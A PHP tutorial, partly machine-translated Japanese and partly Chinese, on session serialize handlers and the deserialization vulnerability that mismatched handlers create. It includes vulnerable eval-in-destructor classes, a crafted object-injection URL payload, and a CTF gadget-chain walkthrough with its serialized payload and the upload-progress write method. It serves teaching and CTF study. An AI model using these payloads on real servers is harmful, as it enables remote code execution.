今回は、PHPのSESSIONデシリアライズの使用方法について詳しく説明します。PHPのSESSIONデシリアライズを使用する際の注意点は何ですか?以下は実際のケースです。
php.ini には 3 つの設定項目があります:session.save_path="" -- セッションのストレージ パスを設定します。
session.save_handler="" -- 必要に応じて、ユーザー定義のストレージ関数を設定します。 use この関数は、PHP の組み込みセッション ストレージ メカニズム (データベースなど) の外部で使用できますsession.auto_start boolen - セッション モジュールがリクエストの開始時にセッションを開始するかどうかを指定します。開始しない場合のデフォルトは 0 です
session.serialize_handler 文字列 - 定義に使用 シリアル化/逆シリアル化するプロセッサの名前。デフォルトでは、php が使用されます。上記のオプションは、PHP のセッション ストレージとシーケンス ストレージに関連しています。
xampp コンポーネントを使用したインストールでは、上記の設定項目は次のように設定されます:
session.save_path="D:xampptmp" は、すべてのセッション ファイルが xampp/tmp の下に保存されることを示します
session.save_handler=files は、セッション ファイルが保存されることを示しますファイルストレージに基づいています
session.serialize_handler=php はセッションのデフォルトのシリアル化エンジンが php シリアル化エンジンを使用することを示します
上記の設定では、session.serialize_handler はセッション シーケンス エンジンを設定するには、デフォルトの PHP エンジンに加えて、エンジンごとに対応するセッションの保存方法が異なります。
php_binary: 保存方法は、キー名の長さに相当するASCII文字+キー名+serialize()関数でシリアル化された値
php: 保存方法は、キー名+縦棒+シリアル化された値Serialize()関数による処理
PHPで変更したい場合はデフォルトでPHPエンジンが使用されます。他のエンジンに追加する場合は、コード ini_set ('session.serialize_handler', '設定する必要があるエンジン'); を追加するだけです。サンプルコードは以下の通りです。
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); // do something
phpのセッション内容はメモリ上には置かれず、ファイル形式で保存されます。保存方法は設定項目session.save_handlerによって決まります。 . の場合、デフォルトではファイルとして保存されます。
保存されるファイルはsess_sessionidに基づいた名前が付けられ、ファイルの内容はセッション値のシーケンス以降の内容になります。
デフォルト設定では:
<?php session_start() $_SESSION['name'] = 'spoock'; var_dump(); ?>
PHPSESSIDの値はjo86ud4jfvu81mbg28sl2s56c2であり、sess_jo86ud4jfvu81mbg28sl2s56c2であることがわかります。の内容となります。ファイルは名前| s:6:"spoock"; です。 name はキー値、s:6:"spoock"; はserialize("spoock") の結果です。
php_serialize エンジンの下:
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['name'] = 'spoock'; var_dump(); ?>
php_binary エンジンの下:
<?php ini_set('session.serialize_handler', 'php_binary'); session_start(); $_SESSION['name'] = 'spoock'; var_dump(); ?>
シリアル化は簡単に使用できます
test.php
<?php class syclover{ var $func=""; function construct() { $this->func = "phpinfo()"; } function wakeup(){ eval($this->func); } } unserialize($_GET['a']); ?>
object(syclover)[1] public 'func' => string 'echo "spoock";' (length=14)
これは単純なシリアル化の脆弱性のデモンストレーションです
PHPセッションにおけるシリアル化の危険性
PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:
$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';
上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是
a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}。
但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:
array (size=1) 'a:1:{s:6:"spoock";s:24:"' => object(PHP_Incomplete_Class)[1] public 'PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)
这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。
实际利用
存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、
s1.php,使用php_serialize来处理session
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION["spoock"]=$_GET["a"];
us2.php,使用php来处理session
ini_set('session.serialize_handler', 'php'); session_start(); class lemon { var $hi; function construct(){ $this->hi = 'phpinfo();'; } function destruct() { eval($this->hi); } }
当访问s1.php时,提交如下的数据:
localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
此时传入的数据会按照php_serialize来进行序列化。
此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。
CTF
在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:
class.php <?php highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));//show_source(FILE); class foo1{ public $varr; function construct(){ $this->varr = "index.php"; } function destruct(){ if(file_exists($this->varr)){ echo "<br>文件".$this->varr."存在<br>"; } echo "<br>这是foo1的析构函数<br>"; }} class foo2{ public $varr; public $obj; function construct(){ $this->varr = '1234567890'; $this->obj = null; } function toString(){ $this->obj->execute(); return $this->varr; } function desctuct(){ echo "<br>这是foo2的析构函数<br>"; }} class foo3{ public $varr; function execute(){ eval($this->varr); } function desctuct(){ echo "<br>这是foo3的析构函数<br>"; }} ?>index.php <?php ini_set('session.serialize_handler', 'php'); require("./class.php"); session_start(); $obj = new foo1(); $obj->varr = "phpinfo.php"; ?>
通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。
那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:
myindex.php
<?phpclass foo3{ public $varr='echo "spoock";'; function execute(){ eval($this->varr); }}class foo2{ public $varr; public $obj; function construct(){ $this->varr = '1234567890'; $this->obj = new foo3(); } function toString(){ $this->obj->execute(); return $this->varr; }} class foo1{ public $varr; function construct(){ $this->varr = new foo2(); }} $obj = new foo1();print_r(serialize($obj));?>
在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}
这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";的方法了。
写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中
最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。
但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。
总结
通过对PHP中的SESSION的分析,对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识,也有助于程序员加强在PHP中的SESSION机制的理解。
相信看了本文案例你已经掌握了方法,更多精彩请关注php中文网其它相关文章!
推荐阅读:
以上がPHPのSESSIONデシリアライズの使い方の詳しい説明の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。